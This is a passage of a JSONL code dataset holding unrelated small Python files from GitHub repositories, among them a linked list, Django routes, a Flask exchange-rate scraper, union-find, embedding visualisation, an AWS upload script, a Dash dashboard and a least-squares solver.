overwrite=True)\n","repo_name":"kcotar/Gaia_clusters_potential","sub_path":"compare_member_selection_Janez_moje.py","file_name":"compare_member_selection_Janez_moje.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"29113204877","text":"class Node:\n\tdef __init__(self, x):\n\t\tself.data=x\n\t\tself.next=None\n\nclass linked_list:\n\tdef __init__(self, h):\n\t\tself.head=h\n\tdef construct_ll(self, arr):\n\t\tcurr=self.head\n\t\tfor i in arr:\n\t\t\tcurr.next=Node(i)\n\t\t\tcurr=curr.next\n\t\t\t\n\tdef print_ll(self):\n\t\tcurr=self.head\n\t\twhile curr!=None:\n\t\t\tprint(curr.data, end=' ')\n\t\t\tcurr=curr.next\n\tdef ele_sorted_arr(self, ele):\n\t\tx=Node(ele)\n\t\tprev=None\n\t\tcurr=self.head\n\t\twhile curr!=None and ele>curr.data:\n\t\t\tprev=curr\n\t\t\tcurr=curr.next\n\t\tif prev==None:\n\t\t\tself.head=x\n\t\t\treturn\n\t\tif curr==None:\n\t\t\tprev.next=x\n\t\t\tx.next=None\n\t\t\treturn\n\t\tx.next=curr\n\t\tprev.next=x\n\narr=[11,12,15,17,18]\nll=linked_list(Node(arr[0]))\nll.construct_ll(arr[1:])\nll.print_ll()\nprint()\nll.ele_sorted_arr(60)\nll.print_ll()","repo_name":"shalini-susmita/data-structure-algorithms-problems","sub_path":"Linked List/ll2.py","file_name":"ll2.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33084820317","text":"from django.urls import path\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n path('store/author/list',views.AuthorListAPIView.as_view(), name='authors'),\r\n path('store/author/', views.AuthorRetrieveAPIView.as_view(), name='author_detail'),\r\n path('store/books', views.BookListAPIView.as_view(), name='books'),\r\n path('store/books/', views.BookRetrieveAPIView.as_view(), name='book_detail'),\r\n path('store/books/create', views.BookCreateAPIView.as_view(), name='create_books'),\r\n path('store/books/update/', views.BookUpdateAPIView.as_view(), name='update_book'),\r\n path('store/books/delete/', views.BookDeleteAPIView.as_view(), name='delete_book'),\r\n ]\r\n","repo_name":"jessc1/apistorebooks","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"6771689551","text":"from typing import Optional, Union\nimport os\nimport importlib\nfrom matplotlib.figure import Figure\nimport matplotlib.pyplot as plt\nfrom PyExpPlotting.defaults import ICML_Dimensions, PaperDimensions, getDefaultDimensions\n\ndefault_conference = ICML_Dimensions\ndef setDefaultConference(conference: Union[str, PaperDimensions]):\n global default_conference\n if type(conference) is str:\n default_conference = getDefaultDimensions(conference)\n\n elif type(conference) is PaperDimensions:\n default_conference = conference\n\n else:\n raise NotImplementedError('Should be unreachable, but types say otherwise')\n\n setFonts(default_conference.font_size)\n\ndef setFonts(font_size: int):\n small = font_size - 4\n medium = font_size - 2\n large = font_size\n\n plt.rc('font', size=small) # controls default text sizes\n plt.rc('axes', titlesize=medium) # fontsize of the axes title\n plt.rc('axes', labelsize=medium) # fontsize of the x and y labels\n plt.rc('xtick', labelsize=small) # fontsize of the tick labels\n plt.rc('ytick', labelsize=small) # fontsize of the tick labels\n plt.rc('legend', fontsize=medium) # legend fontsize\n plt.rc('figure', titlesize=large) # fontsize of the figure title\n\ndef save(\n save_path: str,\n plot_name: str,\n plot_type: Optional[str] = None,\n dims: Optional[PaperDimensions] = None,\n save_type: str = 'png',\n width: float = 1.0,\n height_ratio: float = 1.0,\n f: Optional[Figure] = None,\n ):\n\n # don't make this a default because it could be changed\n # after this function is parsed\n if f is None:\n f = plt.gcf()\n\n # likewise could be changed after function parse\n # so cannot be a default parameter\n if not dims:\n dims = default_conference\n\n # too much logic to stick in default parameters\n if plot_type is None:\n main_file = importlib.import_module('__main__').__file__\n assert main_file is not None\n plot_type = os.path.basename(main_file).replace('.py', '').replace('_', '-')\n\n save_path = f'{save_path}/{plot_type}'\n os.makedirs(save_path, exist_ok=True)\n\n width = width * dims.column_width\n height = width * height_ratio\n f.set_size_inches((width, height), forward=True)\n f.savefig(f'{save_path}/{plot_name}.{save_type}', dpi=600, bbox_inches='tight')\n","repo_name":"andnp/PyExpPlotting","sub_path":"PyExpPlotting/matplot.py","file_name":"matplot.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"19574069271","text":"from flask import Flask, render_template\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom io import BytesIO\nimport base64\nfrom bs4 import BeautifulSoup\nimport requests\n\n# don't change this\nmatplotlib.use('Agg')\napp = Flask(__name__) # do not change this\n\n# insert the scrapping here\nurl_get = requests.get('https://www.exchange-rates.org/history/IDR/USD/T')\nsoup = BeautifulSoup(url_get.content, \"html.parser\")\n\ntable = soup.find('table', attrs={\n 'class': 'table table-striped table-hover table-hover-solid-row table-simple history-data'})\ntr = table.find_all('tr', attrs={'class': None})\ntemp = [] # initiating a tuple\n\nfor i in range(1, len(tr)):\n #scrapping process\n row = table.find_all('tr', attrs={'class': None})[i]\n \n #get date\n date = row.find_all('td')[0].text\n date = date.strip() #for removing the excess whitespace\n \n #get exchange rates\n xc_rate = row.find_all('td')[2].text\n xc_rate = xc_rate.strip() #for removing the excess whitespace\n \n temp.append((date, xc_rate))\n \ntemp\n\n# change into dataframe\ndata = pd.DataFrame(temp, columns=('date', 'exchange_rates'))\n\n# insert data wrangling here\ndata['exchange_rates'] = data['exchange_rates'].str.replace(' IDR','')\ndata['exchange_rates'] = data['exchange_rates'].str.replace(',','')\ndata['exchange_rates'] = data['exchange_rates'].astype('float64')\ndata['date'] = data['date'].astype('datetime64')\n\n# end of data wranggling\n\n\n@app.route(\"/\")\ndef index():\n\n card_data = f'{data[\"exchange_rates\"].mean().round(2)} IDR'\n\n # generate plot\n plt.plot(data['date'], data['exchange_rates'], linestyle='-', label='IDR/USD')\n plt.xlabel('Date Period')\n plt.ylabel('Exchange Rates (IDR)') \n plt.title('Indonesian Rupiahs (IDR) per US Dollar (USD)')\n plt.legend()\n\n # Rendering plot\n # Do not change this\n figfile = BytesIO()\n plt.savefig(figfile, format='png', transparent=True)\n figfile.seek(0)\n figdata_png = base64.b64encode(figfile.getvalue())\n plot_result = str(figdata_png)[2:-1]\n\n # render to html\n return render_template('index.html', card_data=card_data, plot_result=plot_result)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"juanjosua/capstone-webscraping","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"74429410794","text":"\"\"\"\nUnion-Find (disjoint set)\n\nhttps://www.youtube.com/watch?v=zV3Ul2pA2Fw\n\n\"\"\"\nimport collections\n\nclass UnionFind(object):\n def __init__(self, n):\n self.parent = [-1] * n\n self.n = n\n\n def __repr__(self):\n d = collections.defaultdict(set)\n for i in range(len(self.parent)):\n d[self.root(i)].add(i)\n return \" \".join(map(str, d.values()))\n\n def __str__(self):\n return self.__repr__()\n\n def check_sanity(self, a):\n if not (0 <= a < self.n):\n raise ValueError(\"Out of bound!\")\n\n def root(self, a):\n self.check_sanity(a)\n if self.parent[a] < 0:\n return a\n self.parent[a] = self.root(self.parent[a])\n return self.parent[a]\n\n def size(self, a):\n self.check_sanity(a)\n return -self.parent[self.root(a)]\n\n def connect(self, a, b):\n self.check_sanity(a)\n self.check_sanity(b)\n\n root_a = self.root(a)\n root_b = self.root(b)\n\n if root_a == root_b:\n return False\n\n if self.size(a) < self.size(b):\n root_a, root_b = root_b, root_a\n\n self.parent[root_a] += self.parent[root_b]\n self.parent[root_b] = root_a\n\n def is_connected(self, a, b):\n return self.root(a) == self.root(b)\n\n\ndef test_unionfind():\n uni = UnionFind(10)\n uni.connect(0, 4)\n uni.connect(8, 9)\n uni.connect(0, 6)\n uni.connect(8, 9)\n assert '{0, 4, 6} {1} {2} {3} {5} {7} {8, 9}'\n assert uni.size(0) == uni.size(4) == uni.size(6) == 3\n assert uni.size(1) == uni.size(2) == uni.size(3) == uni.size(5) == uni.size(7) == 1\n assert uni.size(8) == uni.size(9) == 2\n assert uni.root(0) == uni.root(4) == uni.root(6) == 0\n assert uni.root(8) == uni.root(9) == 8\n assert uni.root(3) == 3\n assert uni.is_connected(4, 6)\n assert not uni.is_connected(4, 9)\n\n uni.connect(4, 9)\n assert '{0, 4, 6, 8, 9} {1} {2} {3} {5} {7}'\n assert uni.size(0) == uni.size(4) == uni.size(6) == uni.size(8) == uni.size(9)== 5\n assert uni.size(1) == uni.size(2) == uni.size(3) == uni.size(5) == uni.size(7) == 1\n assert uni.root(0) == uni.root(4) == uni.root(6) == 0\n assert uni.root(8) == uni.root(9) == 0\n assert uni.root(3) == 3\n assert uni.is_connected(4, 6)\n assert uni.is_connected(6, 8)\n\n\nif __name__ == \"__main__\":\n test_unionfind()","repo_name":"yamaton/atcoder","sub_path":"util/python/unionfind.py","file_name":"unionfind.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"70116855592","text":"import os\nimport csv\nimport umap\nimport json\nimport librosa\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\nfrom sklearn.manifold import TSNE\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import MinMaxScaler\n\n#Not sure if we need magenta\n# from magenta.models.nsynth import utils\n# from magenta.models.nsynth.modelA import fastgen\n\nnp.random.seed(8)\n\nimport utils\nimport config\n\n####\n\n\ndef get_scaled_tsne_embeddings(features,labels, perplexity, iteration):\n embedding = TSNE(n_components=2,\n perplexity=perplexity,\n n_iter=iteration).fit_transform(features)\n scaler = MinMaxScaler()\n scaler.fit(embedding)\n\n #print (scaler.transform(embedding))\n embed = scaler.transform(embedding)\n return embed\n\n\ndef transform_numpy_to_json(array, labels):\n data = []\n for index, position in enumerate(array):\n position_list = position.tolist()\n position_list.append(labels[index])\n\n data.append({\n 'coordinates': position_list\n })\n return data\n\n\ndef get_scaled_umap_embeddings(features,labels, neighbour, distance):\n\n embedding = umap.UMAP(n_neighbors=neighbour,\n min_dist=distance,\n metric='correlation').fit_transform(features)\n scaler = MinMaxScaler()\n scaler.fit(embedding)\n embed = scaler.transform(embedding)\n return embed\n\ndef get_pca(features, labels):\n pca = PCA(n_components=2)\n transformed = pca.fit(features).transform(features)\n scaler = MinMaxScaler()\n scaler.fit(transformed)\n embed = scaler.transform(transformed)\n return embed\n\n\n#####\n\ndef create_embeddings(listPath, modelA_features,modelA_labels, modelB_features, modelB_labels):\n\n modelA_features = np.nan_to_num(np.array(modelA_features))\n modelB_features = np.array(modelB_features)\n\n modelB_tuples = []\n modelA_tuples = []\n all_file_paths = []\n\n if(os.path.isfile(listPath)):\n with open(listPath, \"r\") as fp:\n for i, line in enumerate(fp):\n line = line.replace('.au\\n','.wav')\n all_file_paths.append(line)\n\n all_json = dict()\n all_json[\"filenames\"] = all_file_paths\n\n print(len(all_file_paths),\n modelA_features.shape,\n modelB_features.shape)\n\n\n tnse_embeddings_modelB = []\n tnse_embeddings_modelA = []\n perplexities = [2, 5, 30, 50, 100]\n iterations = [250, 300, 350, 400, 500]\n # perplexities = [2, 5]\n # iterations = [250, 300]\n for i, perplexity in enumerate(perplexities):\n for j, iteration in enumerate(iterations):\n print (\"Perplexity : \",perplexity,\" Iterations :\", iteration)\n tsne_modelB = get_scaled_tsne_embeddings(modelB_features,\n modelB_labels,\n perplexity,\n iteration)\n tnse_modelA = get_scaled_tsne_embeddings(modelA_features,\n modelA_labels,\n perplexity,\n iteration)\n tnse_embeddings_modelB.append(tsne_modelB)\n tnse_embeddings_modelA.append(tnse_modelA)\n\n modelB_key = 'tsnemodelB{}{}'.format(i, j)\n modelA_key = 'tsnemodelA{}{}'.format(i, j)\n\n all_json[modelB_key] = transform_numpy_to_json(tsne_modelB,modelB_labels)\n all_json[modelA_key] = transform_numpy_to_json(tnse_modelA,modelA_labels)\n\n # fig, ax = plt.subplots(nrows=len(perplexities),\n # ncols=len(iterations),\n # figsize=(30, 30))\n\n # for i, row in enumerate(ax):\n # for j, col in enumerate(row):\n # current_plot = i * len(iterations) + j\n # col.scatter(tnse_embeddings_modelB[current_plot].T[0],\n # tnse_embeddings_modelB[current_plot].T[1],\n # s=1)\n # plt.show()\n\n\n umap_embeddings_modelB = []\n umap_embeddings_modelA = []\n neighbours = [5, 10, 15, 30, 50]\n distances = [0.000, 0.001, 0.01, 0.1, 0.5]\n # neighbours = [5]\n # distances = [0.000, 0.001]\n for i, neighbour in enumerate(neighbours):\n for j, distance in enumerate(distances):\n print (\"neighbour : \",neighbour,\" distance :\", distance)\n umap_modelB = get_scaled_umap_embeddings(modelB_features,\n modelB_labels,\n neighbour,\n distance)\n umap_modelA = get_scaled_umap_embeddings(modelA_features,\n modelA_labels,\n neighbour,\n distance)\n umap_embeddings_modelB.append(umap_modelB)\n umap_embeddings_modelA.append(umap_modelA)\n\n modelB_key = 'umapmodelB{}{}'.format(i, j)\n modelA_key = 'umapmodelA{}{}'.format(i, j)\n\n all_json[modelB_key] = transform_numpy_to_json(umap_modelB,modelB_labels)\n all_json[modelA_key] = transform_numpy_to_json(umap_modelA,modelA_labels)\n\n\n\n pca_modelB = get_pca(modelB_features,modelB_labels)\n pca_modelA = get_pca(modelA_features,modelA_labels)\n\n modelB_key = 'pcamodelB'\n modelA_key = 'pcamodelA'\n\n all_json[modelB_key] = transform_numpy_to_json(pca_modelB,modelB_labels)\n all_json[modelA_key] = transform_numpy_to_json(pca_modelA,modelA_labels)\n\n\n json_name = \"data.json\"\n json_string = \"d = '\" + json.dumps(all_json) + \"'\"\n with open(json_name, 'w') as json_file:\n json_file.write(json_string)\n\n\n\n\npredicted_prob,y_data,num_frames_test = utils.load_h5(config.SOFTMAX_RESULT_FILE)\n\ncreate_embeddings(config.ALL_SONGS_PATHS,predicted_prob,y_data,predicted_prob,y_data)\n","repo_name":"codeJRV/MusicMapz","sub_path":"create_tsne_embeddings.py","file_name":"create_tsne_embeddings.py","file_ext":"py","file_size_in_byte":6082,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"24483989080","text":"print(\"Starting\")\r\n\r\nimport fractions\r\n\r\nMAX = 1500000\r\nanswer = [0]*MAX\r\n\r\nfor i in range(1, int(MAX**0.5+1),2):\r\n print(i)\r\n for j in range(2, int(MAX**0.5+1)-i,2):\r\n m = max(i,j)\r\n n = min(i,j)\r\n if fractions.gcd(n,m) == 1 and (m-n)%2 == 1 and 2*(m**2+n*m) <= MAX:\r\n val = 2*(m**2+m*n)\r\n for k in range(val,MAX,val):\r\n answer[k]+=1\r\n\r\nprint(answer.count(1))\r\ninput(\"Done\")\r\n\r\n","repo_name":"alexandrepoulin/ProjectEulerInPython","sub_path":"problems/problem 75.py","file_name":"problem 75.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7071925736","text":"'''\nA positive integer is considered uniform if all of its digits are equal. For example, 222222 is uniform, while 223223 is not.\nGiven two positive integers AA and BB, determine the number of uniform integers between AA and BB, inclusive.\nPlease take care to write a solution which runs within the time limit.\nConstraints\n1 \\le A \\le B \\le 10^{12}1≤A≤B≤10\n12\n\nSample test case #1\nA = 75\nB = 300\nExpected Return Value = 5\nSample test case #2\nA = 1\nB = 9\nExpected Return Value = 9\nSample test case #3\nA = 999999999999\nB = 999999999999\nExpected Return Value = 1\nSample Explanation\nIn the first case, the uniform integers between 7575 and 300300 are 7777, 8888, 9999, 111111, and 222222.\nIn the second case, all 99 single-digit integers between 11 and 99 (inclusive) are uniform.\nIn the third case, the single integer under consideration (999{,}999{,}999{,}999999,999,999,999) is uniform.\n'''\n\n\ndef getUniformIntegerCountInInterval(A, B):\n # Write your code here\n import math\n\n x = A\n n = int(math.log10(A))\n increment = 1\n for i in range(1, n + 1):\n increment += 10 ** i\n\n first = int(str(A)[0] * len(str(A)))\n count = 0\n x = first\n while A <= x and x <= B:\n print (\"x=\",x)\n count += 1\n if str(x)[0] != '9':\n x += increment\n else:\n increment += 10 ** int(math.log10(increment) + 1)\n print(\"inc=\", increment)\n #x=int(\"1\"*len)\n x = increment\n\n return count\nA=75\nB=300\nprint (getUniformIntegerCountInInterval(A, B))\n\nA=99999999\nB=999999999999\nprint (getUniformIntegerCountInInterval(A, B))","repo_name":"Roberttguo/algorithm_data_structure","sub_path":"Uniform_Integers.py","file_name":"Uniform_Integers.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30649022627","text":"import boto3\nimport csv\n\ns3 = boto3.resource('s3')\n\ntry:\n s3.create_bucket(Bucket='datacont-ktd15', CreateBucketConfiguration={'LocationConstraint': 'us-west-2'})\nexcept:\n print(\"Bucket already exists\")\n\ns3.Object('datacont-ktd15', 'test.jpg').put(\n Body=open('test.jpg', 'rb')\n)\n\ndyndb = boto3.resource('dynamodb', region_name='us-west-2')\n\ntry:\n table = dyndb.create_table (\n TableName='DataTable',\n KeySchema=[\n {'AttributeName': 'PartitionKey', 'KeyType': 'HASH'},\n {'AttributeName': 'RowKey', 'KeyType': 'RANGE'}\n ],\n AttributeDefinitions=[\n {'AttributeName': 'PartitionKey', 'AttributeType': 'S'},\n {'AttributeName': 'RowKey', 'AttributeType': 'S'}\n ],\n ProvisionedThroughput={\n 'ReadCapacityUnits': 5,\n 'WriteCapacityUnits': 5\n }\n )\nexcept:\n table = dyndb.Table(\"DataTable\")\n\ntable.meta.client.get_waiter('table_exists').wait(TableName='DataTable')\n\nwith open('experiments.csv', 'r') as csvfile:\n csvf = csv.reader(csvfile, delimiter=',', quotechar='|')\n for item in csvf:\n print(item)\n body = open('datafiles/'+item[3], 'rb')\n s3.Object('datacont-ktd15', item[3]).put(Body=body)\n md = s3.Object('datacont-ktd15', item[3]).Acl().put(ACL='public-read')\n\n url = \"https://s3-us-west-2.amazonaws.com/datacont-ktd15/\"+item[3]\n metadata_item = {'PartitionKey': item[0], 'RowKey': item[1],\n 'description': item[4], 'date': item[2], 'url':url}\n try:\n table.put_item(Item=metadata_item)\n except:\n print(\"item may already be there or another failure\")\n\nresponse = table.get_item(\n Key={\n 'PartitionKey': 'experiment3',\n 'RowKey': '4'\n }\n )\nitem = response['Item']\nprint(item)","repo_name":"ktdemay/Cloud-Computing-HW2","sub_path":"hw2.py","file_name":"hw2.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"1184002718","text":"import dash\nimport dash_table\nfrom dash.dependencies import Input, Output\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dash import no_update\nimport pandas as pd\nfrom datetime import date\nimport webbrowser\n\ndef create_app():\n # importing csv into DataFrame\n df=pd.read_csv('FM02_File_Search_df.csv')\n\n folder_list=df['Root_Folder'].unique()\n\n\n # Create Dash object\n app = dash.Dash(__name__)\n\n\n # Creating app layout\n app.layout=html.Div([\n html.Div([html.H1('File Path Lookup'),\n dcc.Dropdown(\n id='folder-dropdown',\n options=[{'label': k, 'value': k} for k in folder_list],\n multi=True,\n value=folder_list),\n html.H3('Search by Keyword:'),\n dcc.Input(id='keyword-box',placeholder='Enter keyword seperated by comma',value='',type='text',style={'width':'40%'})]),\n html.Div([\n dash_table.DataTable(\n id='datatable-interactivity',\n columns=[\n {\"name\": i, \"id\": i} for i in df.columns\n ],\n data=df.to_dict('records'),\n style_header={'backgroundColor': 'rgb(221, 65, 36)','fontWeight': 'bold','color':'white'},\n style_data_conditional=[{'if': {'row_index': 'odd'},'backgroundColor': 'rgb(204, 204, 255)'}],\n style_cell={'textAlign': 'left'},\n style_as_list_view=True,\n editable=False,\n filter_action=\"native\",\n sort_action=\"native\",\n sort_mode=\"multi\",\n column_selectable=False,\n row_selectable=False,\n row_deletable=False,\n selected_columns=[],\n selected_rows=[],\n page_action=\"native\",\n page_current= 0,\n page_size= 10)], style={'width': '80%','font-family':'Arial Black','margin-left':'auto','margin-right':'auto',\n 'display': 'inline-block'})\n ])\n\n\n\n @app.callback(Output(component_id='datatable-interactivity', component_property='data'),\n [Input(component_id='keyword-box', component_property='value'),Input(component_id='folder-dropdown', component_property='value')])\n def filter_table(keywords,folders):\n keywords_split=keywords.split(',')\n keywords_split_upper=[word.upper() for word in keywords_split]\n keywords_regex= '|'.join(keywords_split_upper)\n df_filter=df.File_Path.str.upper().str.contains(keywords_regex)\n filtered_df=df[df_filter]\n df_folder_filter=filtered_df.Root_Folder.isin(folders)\n filtered_df=filtered_df[df_folder_filter]\n return filtered_df.to_dict('records')\n\n return app\n\n# Assign dash object to app\napp=create_app()\n\n# Register webbrowser\nchrome_path=\"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\nwebbrowser.register('chrome', None,webbrowser.BackgroundBrowser(chrome_path))\n\n# Run app\nif __name__ == '__main__':\n webbrowser.get('chrome').open_new('http://127.0.0.1:8050/')\n app.run_server(debug=False)\n","repo_name":"fabricerjsjoseph/File-Location-Lookup","sub_path":"FM01_File_Search_Dashboard.py","file_name":"FM01_File_Search_Dashboard.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"12887235165","text":"import random\r\nimport math\r\nimport time\r\n\r\ndef pontos(n):\r\n\tx = []\r\n\ty = []\r\n\r\n\tfor i in range(n):\r\n\t\tprint(\"Digite X\",i+1,\":\")\r\n\t\ta = int(input())\r\n\t\tx.append(a)\r\n\t\tprint(\"Digite Y\",i+1,\":\")\r\n\t\tb = int(input())\r\n\t\ty.append(b)\r\n\treturn x,y\r\n\r\ndef sistemaNormal(x, y, n):\r\n\ta = 0\r\n\tmatrizNormal = []\r\n\tm = math.sqrt(n)\r\n\tm = int(m)\r\n\tfor i in range(m):\r\n\t\tlinha = []\r\n\t\tfor j in range(m):\r\n\t\t\ta = 0\r\n\t\t\tfor k in range(n):\r\n\t\t\t\ta = a + 1 * pow(x[k],j+i)\r\n\t\t\tlinha.append(a)\r\n\t\tmatrizNormal.append(linha)\r\n\treturn matrizNormal\r\n\r\ndef matrizB(x, y, n):\r\n\ta = 0\r\n\tmatriz = []\r\n\tm = math.sqrt(n)\r\n\tm = int(m)\r\n\tfor i in range(m):\r\n\t\tlinha = []\r\n\t\tfor j in range(1):\r\n\t\t\ta = 0\r\n\t\t\tfor k in range(n):\r\n\t\t\t\ta = a + y[k] * pow(x[k],i)\r\n\t\t\tlinha.append(a)\r\n\t\tmatriz.append(linha)\r\n\treturn matriz\r\n\r\ndef matrizIdentidade(nF):\r\n n = nF\r\n matriz = [] # lista vazia\r\n valor = 0\r\n for i in range(n):\r\n # cria a linha i\r\n linha = [] # lista vazia\r\n for j in range(n):\r\n linha.append(int(valor))\r\n # coloque linha na matriz\r\n matriz.append(linha)\r\n for i in range(n):\r\n for j in range(n):\r\n if i == j:\r\n matriz[i][j] = 1\r\n return matriz\r\n\r\ndef gauss(M, n2):\r\n\t#triang. Inferior\r\n\tcontPivo = 0\r\n\tfor j in range(n2):\r\n\t\tcontPivo = contPivo + 1\r\n\t\tfor i in range(n2):\r\n\t\t\tif i == contPivo - 1:\r\n\t\t\t\tden = M[contPivo-1][j]\r\n\t\t\t\tfor k in range(n2*2):\r\n\t\t\t\t\tM[i][k] = M[i][k] * (1/den)\r\n\t\t\tif i > contPivo - 1:\r\n\t\t\t\tpivoLoc = M[i][j]\r\n\t\t\t\tfor k in range(n2*2):\r\n\t\t\t\t\tM[i][k] = M[i][k] - (pivoLoc * M[contPivo - 1][k])\r\n\t#triangSup\r\n\tfor j in range(n2):\r\n\t\tfor i in range(n2):\r\n\t\t\tif i == j and i > 0:\r\n\t\t\t\tpivo = M[i][j]\r\n\t\t\t\tfor l in range(i):\r\n\t\t\t\t\tpivoLoc = M[l][j]\r\n\t\t\t\t\tfor k in range((n2*2)-j):\r\n\t\t\t\t\t\tM[l][j+k] = M[l][j+k] - (pivoLoc * M[i][j+k])\r\n\treturn M\r\n\r\ndef alocaMatriz(n,m):\r\n matriz = [] # lista vazia\r\n valor = 0\r\n for i in range(n):\r\n # cria a linha i\r\n linha = [] # lista vazia\r\n for j in range(m):\r\n linha.append(int(valor))\r\n\r\n # coloque linha na matriz\r\n matriz.append(linha) \r\n return matriz\r\n\r\ndef multiplicaAinB(A,B,n2):\r\n\tC = alocaMatriz(n2,1)\r\n\tfor i in range(n2):\r\n\t\tfor j in range(n2):\r\n\t\t\tC[i][0] = C[i][0] + (A[i][j] * B[j][0])\r\n\treturn C\r\n\r\ndef testa(x,y,n):\r\n\tprint(\"Os pontos são: \")\r\n\tfor i in range(n):\r\n\t\tprint(\"(\",x[i],\",\",y[i],\")\")\r\n\tprint(\"Passo 1: Dado os pontos, calcular as matrizes A e B que irão compor o Sistema Normal\")\r\n\tprint(\"Matriz A:\")\r\n\tmatriz = sistemaNormal(x,y,n)\r\n\tprint(\"matriznormal\",matriz)\r\n\tprint(matriz)\r\n\tmatriz2 = matrizB(x,y,n)\r\n\tprint(\"matrizB\",matriz2)\r\n\r\n\tn2 = math.sqrt(n)\r\n\tn2 = int(n2)\r\n\tmIdentidade = matrizIdentidade(n2)\r\n\tprint(\"matrizI:\",mIdentidade)\r\n\r\n\tmMatriz = []\r\n\tfor i in range(n2):\r\n\t\tlinha = []\r\n\t\tfor j in range(n2):\r\n\t\t\tlinha.append(matriz[i][j])\r\n\t\tfor j in range(n2):\r\n\t\t\tlinha.append(mIdentidade[i][j])\r\n\t\tmMatriz.append(linha)\r\n\r\n\t#Pela lógica AX = B -> X = A^-1*B\r\n\tmatrizApoio = gauss(mMatriz, n2)\r\n\r\n\tmatrizInversa = []\r\n\tfor i in range(n2):\r\n\t\tlinha = []\r\n\t\tfor j in range(n2):\r\n\t\t\tlinha.append(matrizApoio[i][j+n2])\r\n\t\tmatrizInversa.append(linha)\r\n\tprint(\"Passo 2: Dada as matrizes, calcular as incógnitas pelo Método de eliminação de Gauss. Pela lógica AX = B -> X = A^-1*B \")\r\n\tprint(\"Arredondando, matriz inversa de A é:\")\r\n\timprime_matriz(matrizInversa)\r\n\tprint(\"Por fim, para o polinômio na forma: p(x) = a0 + a1X + a2x^2 + ... + amX^m, temos:\")\r\n\tC = multiplicaAinB(matrizInversa, matriz2,n2)\r\n\r\n\tfor i in range(n2):\r\n\t\tprint(\"a\",i,\":\",C[i][0],\"(aproximadamente\",round(arredondar(C[i][0]),1),\")\")\r\n\r\ndef testes():\r\n\tprint(\"teste 1\")\r\n\ttime.sleep(2)\r\n\tx = [-1,0,1,2,7,3,1,4,3]\r\n\ty = [1,-1,2,3,4,3,2,5,6]\r\n\tn = 9\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [1,-2,0,4]\r\n\ty = [2,4,0,-2]\r\n\tn = 4\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [1,4]\r\n\ty = [-1,2]\r\n\tn = 2\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [0,-1,0,-1,0]\r\n\ty = [-1,0,-1,0,0]\r\n\tn = 5\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [0,-1,0,0,0]\r\n\ty = [0,0,0,0,-1]\r\n\tn = 5\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [1]\r\n\ty = [1]\r\n\tn = 1\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\tx = [12,-11,18,123,2]\r\n\ty = [90,1,2,17,-1]\r\n\tn = 5\r\n\ttime.sleep(2)\r\n\ttesta(x,y,n)\r\n\r\ndef arredondar(num):\r\n return float( '%g' % ( num ) )\r\n\r\ndef imprime_matriz(matriz):\r\n\r\n linhas = len(matriz)\r\n colunas = len(matriz[0])\r\n\r\n for i in range(linhas):\r\n for j in range(colunas):\r\n if(j == colunas - 1):\r\n print(\"%.2f\" %matriz[i][j])\r\n else:\r\n print(\"%.2f\" %matriz[i][j], end = \" \")\r\n print()\r\n\r\n\r\n\r\nsair = 0\r\nwhile(sair == 0):\r\n\tprint(\"##Menu##\")\r\n\tprint(\"Digite \"\"1\"\" para executar os testes\")\r\n\tprint(\"Digite \"\"2\"\" para introduzir pontos para novos testes\")\r\n\tprint(\"Digite \"\"3\"\" para sair\")\r\n\ta = input()\r\n\ta = int(a)\r\n\tif a == 1:\r\n\t\ttestes()\r\n\tif a == 2:\r\n\t\tprint(\"Digite quantos pontos você quer por:\")\r\n\t\tn = input()\r\n\t\tn = int(n)\r\n\t\tx,y = pontos(n)\r\n\t\ttesta(x,y,n)\r\n\tif a == 3:\r\n\t\tsair = 1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"patriciarodrigues151/Me-todo-dos-Quadrados-Minimos-de-Interpolacaoo-Polinomial-Algebra-Linear","sub_path":"QuadradosMínimos.py","file_name":"QuadradosMínimos.py","file_ext":"py","file_size_in_byte":5028,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
